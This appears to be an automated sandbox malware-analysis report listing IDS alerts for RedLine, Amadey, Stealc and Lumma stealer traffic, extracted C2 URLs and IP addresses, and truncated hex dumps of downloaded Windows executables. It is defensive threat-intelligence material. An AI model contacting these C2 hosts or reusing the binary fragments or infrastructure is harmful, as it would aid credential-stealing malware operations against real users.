Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 89.105.223.196:29862 -> 192.168.2.6:49624
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49626 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2043231 - Severity 1 - ET MALWARE Redline Stealer TCP CnC Activity : 192.168.2.6:49630 -> 185.215.113.67:15206
Source: Network traffic	Suricata IDS: 2046045 - Severity 1 - ET MALWARE [ANY.RUN] RedLine Stealer/MetaStealer Family Related (MC-NMF Authorization) : 192.168.2.6:49630 -> 185.215.113.67:15206
Source: Network traffic	Suricata IDS: 2043234 - Severity 1 - ET MALWARE Redline Stealer TCP CnC - Id1Response : 185.215.113.67:15206 -> 192.168.2.6:49630
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49629 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 89.105.223.196:29862 -> 192.168.2.6:49624
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49632 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49633 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2046056 - Severity 1 - ET MALWARE Redline Stealer/MetaStealer Family Activity (Response) : 185.215.113.67:15206 -> 192.168.2.6:49630
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49631 -> 91.202.233.158:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.6:49631 -> 91.202.233.158:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 91.202.233.158:80 -> 192.168.2.6:49631
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.6:49631 -> 91.202.233.158:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 91.202.233.158:80 -> 192.168.2.6:49631
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.6:49631 -> 91.202.233.158:80
Source: Network traffic	Suricata IDS: 2056156 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (drawzhotdog .shop) : 192.168.2.6:62485 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49636 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.6:49635 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2056157 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (drawzhotdog .shop in TLS SNI) : 192.168.2.6:49638 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49640 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49645 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.6:49643
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49643 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.6:49648 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2044249 - Severity 1 - ET MALWARE Win32/Stealc Submitting Screenshot to C2 : 192.168.2.6:49631 -> 91.202.233.158:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49681 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49723 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.6:49726 -> 185.215.113.37:80
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49635 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49635 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49638 -> 172.67.162.108:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49638 -> 172.67.162.108:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: Malware configuration extractor	URLs: lootebarrkeyn.shop
Source: Malware configuration extractor	URLs: gutterydhowi.shop
Source: Malware configuration extractor	URLs: reinforcenh.shop
Source: Malware configuration extractor	URLs: stogeneratmns.shop
Source: Malware configuration extractor	URLs: vozmeatillu.shop
Source: Malware configuration extractor	URLs: ghostreedmnu.shop
Source: Malware configuration extractor	URLs: offensivedzvju.shop
Source: Malware configuration extractor	URLs: fragnantbui.shop
Source: Malware configuration extractor	URLs: drawzhotdog.shop
Source: Malware configuration extractor	URLs: 188.190.10.161
Source: Malware configuration extractor	URLs: http://91.202.233.158/e96ea2db21fa9a1b.php
Source: Malware configuration extractor	IPs: 185.215.113.16
Source: Malware configuration extractor	URLs: 89.105.223.196:29862

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 185.215.113.67 ports 0,1,2,5,6,15206

Yara detected Generic Downloader

Source: Yara match

File source: 35.2.rstxdhuj.exe.38a1590.4.raw.unpack, type: UNPACKEDPE

Source: global traffic	TCP traffic: 192.168.2.6:49606 -> 95.179.250.45:26212
Source: global traffic	TCP traffic: 192.168.2.6:49610 -> 65.21.18.51:45580
Source: global traffic	TCP traffic: 192.168.2.6:49624 -> 89.105.223.196:29862
Source: global traffic	TCP traffic: 192.168.2.6:49630 -> 185.215.113.67:15206

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:06 GMTContent-Type: application/octet-streamContent-Length: 320000Last-Modified: Wed, 11 Sep 2024 19:08:04 GMTConnection: keep-aliveETag: "66e1ea94-4e200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 67 e5 e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 d8 04 00 00 08 00 00 00 00 00 00 5e f7 04 00 00 20 00 00 00 00 05 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 40 05 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 10 f7 04 00 4b 00 00 00 00 00 05 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 05 00 0c 00 00 00 d8 f5 04 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 64 d7 04 00 00 20 00 00 00 d8 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 00 06 00 00 00 00 05 00 00 06 00 00 00 da 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 20 05 00 00 02 00 00 00 e0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 f7 04 00 00 00 00 00 48 00 00 00 02 00 05 00 68 e8 04 00 70 0d 00 00 03 00 02 00 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3e 49 98 c5 eb e4 07 3d 4e 57 c4 94 0e b8 53 b5 28 8c a4 60 7d 43 e0 bd be a1 50 3f 32 96 e1 7f 68 ee 09 6c 85 3c 41 15 49 09 ba d4 fa f6 43 4e bc b8 ee c3 2f 99 75 8f 13 54 98 eb 94 d5 14 eb ae 0f 0f 40 0b 24 ba 30 ac ba 72 e4 aa c5 d3 22 5f 38 29 4c a5 93 97 73 a9 59 51 ec 11 25 fb 2f 3f dd c0 ca 4c 9f a3 37 65 26 5b d4 7a e2 92 dd eb bd c1 ae 2a 12 e3 6a 2e 9a 38 4a cb f5 ec b2 73 6e a8 3d e2 e0 4f dc a1 c9 e4 7c b2 90 d7 6e b7 f6 87 10 17 67 55 44 47 b4 ac 48 4b 1b 0e e4 87 e2 52 05 54 dc fa e9 31 4c 7a ca d5 dd 7f 0d 46 b5 7f 5e 6c ca b6 79 a8 7b 4a 80 90 42 7c 80 f8 ad 60 9f 6f 48 f3 8c 33 c5 fb 13 ac f3 56 4e d2 d8 66 94 7d 4a 06 87 f6 2f bf 3f 7f b6 89 bf dd e0 a0 b3 da b3 34 6e 45 85 53 86 a8 f1 e1 33 41 b1 d3 72 04 4d 9e 7f 71 66 e7 05 7b 8b 08 d6 a9 8b fd 21 49 55 07 c8 2f b1 4d 85 3f 3e f0 02 88 e8 08 a2 30 e7 65 94 96 58 16 66 e9 0b b0 69 09 55 69 17 02 ad cf a0 60 fc 77 be 88 66 61 b4 fe 4c 77 69 b7 56 4d a0 69 e1 34 ac d
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:09 GMTContent-Type: application/octet-streamContent-Length: 903168Last-Modified: Wed, 25 Sep 2024 19:30:48 GMTConnection: keep-aliveETag: "66f464e8-dc800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b6 64 f4 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 be 0d 00 00 08 00 00 00 00 00 00 ee dc 0d 00 00 20 00 00 00 e0 0d 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 0e 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 dc 0d 00 57 00 00 00 00 e0 0d 00 b8 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0e 00 0c 00 00 00 5c db 0d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 bc 0d 00 00 20 00 00 00 be 0d 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 b8 05 00 00 00 e0 0d 00 00 06 00 00 00 c0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 0e 00 00 02 00 00 00 c6 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 dc 0d 00 00 00 00 00 48 00 00 00 02 00 05 00 c0 ca 0d 00 9c 10 00 00 03 00 02 00 13 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c6 6b ae d1 cd 28 d7 51 9d 2e cd 47 51 4c b3 ec 71 b5 82 95 83 cc 4e 71 72 d8 5c 9c 5e 76 e3 84 45 f8 df e1 e3 3c 8a 1c 40 3d ea aa d5 1c 29 21 62 e6 3d 71 51 2e ec b2 2e 42 0e 63 fc 1c 8c c6 ce 3c bf 71 b5 69 92 20 41 eb a1 b5 51 45 2c 54 ae 14 7e 66 cb 58 33 ec 89 ec 1e 81 df 7e f2 8f dd 9d 24 15 29 0a 28 38 74 07 ac a7 9b c4 e1 01 ec ed 72 e2 63 40 10 de 9e 13 69 a8 32 85 3f c4 2d 14 38 d1 fe 2d 09 84 e1 e8 c6 a0 3a 05 b1 ac 27 49 b2 60 44 f2 e6 aa d3 3f 2f 33 3f c5 1d d2 57 50 1f 27 db 02 c0 58 4c 7a 96 12 ce ef 62 12 7c 20 32 97 e1 d4 88 c4 2a 12 d6 86 ed 5c 0b 15 a6 11 1a d4 ad 8b 9d 42 19 0f a1 ed 48 67 24 33 70 df ad 7c 2b 73 fc b8 4b 8f b1 11 ee 5a cb 6d ba 60 fb f1 ce eb 77 7f 09 77 bd 69 f1 ba 56 74 06 0f 6e ef 4c 4c 0a db f7 64 0e 60 61 8e 4f 8b c8 54 c4 fc 9e ca 05 c8 c0 23 6b b5 30 44 40 64 9a fc 38 70 a4 7b 2e 3f 5a 0c d0 8e 2d c7 c8 5c 57 bf ea bf cf 2c a7 28 b6 c7 50 cc 17 26 60 4c 06 09 3f 5a ef c4 4a 2c 79 fd 3a a0 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:12 GMTContent-Type: application/x-msdos-programContent-Length: 425984Connection: keep-aliveLast-Modified: Sat, 24 Aug 2024 17:17:20 GMTETag: "68000-620711078a800"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 cc 13 50 4a 88 72 3e 19 88 72 3e 19 88 72 3e 19 d3 1a 3d 18 86 72 3e 19 d3 1a 3b 18 28 72 3e 19 5d 1f 3a 18 9a 72 3e 19 5d 1f 3d 18 9e 72 3e 19 5d 1f 3b 18 fd 72 3e 19 d3 1a 3a 18 9c 72 3e 19 d3 1a 3f 18 9b 72 3e 19 88 72 3f 19 5e 72 3e 19 13 1c 37 18 89 72 3e 19 13 1c c1 19 89 72 3e 19 13 1c 3c 18 89 72 3e 19 52 69 63 68 88 72 3e 19 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 a0 15 ca 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 e6 04 00 00 ca 01 00 00 00 00 00 45 d7 01 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 44 00 06 00 8c 00 00 00 00 90 06 00 e0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 06 00 3c 4c 00 00 e0 90 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc 91 05 00 18 00 00 00 18 91 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 05 00 c8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 0a e5 04 00 00 10 00 00 00 e6 04 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 38 10 01 00 00 00 05 00 00 12 01 00 00 ea 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 7c 66 00 00 00 20 06 00 00 34 00 00 00 fc 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e0 01 00 00 00 90 06 00 00 02 00 00 00 30 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 3c 4c 00 00 00 a0 06 00 00 4e 00 00 00 32 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:15 GMTContent-Type: application/octet-streamContent-Length: 192000Last-Modified: Sat, 24 Aug 2024 14:58:01 GMTConnection: keep-aliveETag: "66c9f4f9-2ee00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a2 62 9b e5 e6 03 f5 b6 e6 03 f5 b6 e6 03 f5 b6 89 75 5e b6 fe 03 f5 b6 89 75 6b b6 eb 03 f5 b6 89 75 5f b6 dc 03 f5 b6 ef 7b 76 b6 e5 03 f5 b6 66 7a f4 b7 e4 03 f5 b6 ef 7b 66 b6 e1 03 f5 b6 e6 03 f4 b6 8d 03 f5 b6 89 75 5a b6 f4 03 f5 b6 89 75 68 b6 e7 03 f5 b6 52 69 63 68 e6 03 f5 b6 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 98 e0 c8 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 c8 01 00 00 42 22 00 00 00 00 00 90 64 01 00 00 10 00 00 00 e0 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 24 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 d8 a9 02 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 23 00 80 24 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e0 01 00 f4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a c6 01 00 00 10 00 00 00 c8 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 e0 2e 72 64 61 74 61 00 00 ee ce 00 00 00 e0 01 00 00 d0 00 00 00 cc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 2b 21 00 00 b0 02 00 00 0c 00 00 00 9c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2a 44 00 00 00 e0 23 00 00 46 00 00 00 a8 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 27 Sep 2024 14:18:18 GMTContent-Type: application/octet-streamContent-Length: 4278784Last-Modified: Thu, 12 Sep 2024 13:56:06 GMTConnection: keep-aliveETag: "66e2f2f6-414a00"Accept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 19 5e 42 2a 00 00 00 00 00 00 00 00 e0 00 8e 81 0b 01 02 19 00 ba 08 00 00 8c 38 00 00 00 00 00 4c c9 08 00 00 10 00 00 00 d0 08 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 b0 41 00 00 04 00 00 00 00 00 00 02 00 00 00 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 10 09 00 78 22 00 00 00 20 0a 00 00 82 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 09 00 40 b5 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 09 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 43 4f 44 45 00 00 00 00 94 b9 08 00 00 10 00 00 00 ba 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 44 41 54 41 00 00 00 00 20 2d 00 00 00 d0 08 00 00 2e 00 00 00 be 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 42 53 53 00 00 00 00 00 01 0f 00 00 00 00 09 00 00 00 00 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 78 22 00 00 00 10 09 00 00 24 00 00 00 ec 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 6c 73 00 00 00 00 10 00 00 00 00 40 09 00 00 00 00 00 00 10 09 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 18 00 00 00 00 50 09 00 00 02 00 00 00 10 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 65 6c 6f 63 00 00 40 b5 00 00 00 60 09 00 00 b6 00 00 00 12 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 2e 72 73 72 63 00 00 00 00 82 37 00 00 20 0a 00 00 82 37 00 00 c8 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 41 00 00 00 00 00 00 4a 41 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 27 Sep 2024 14:18:20 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 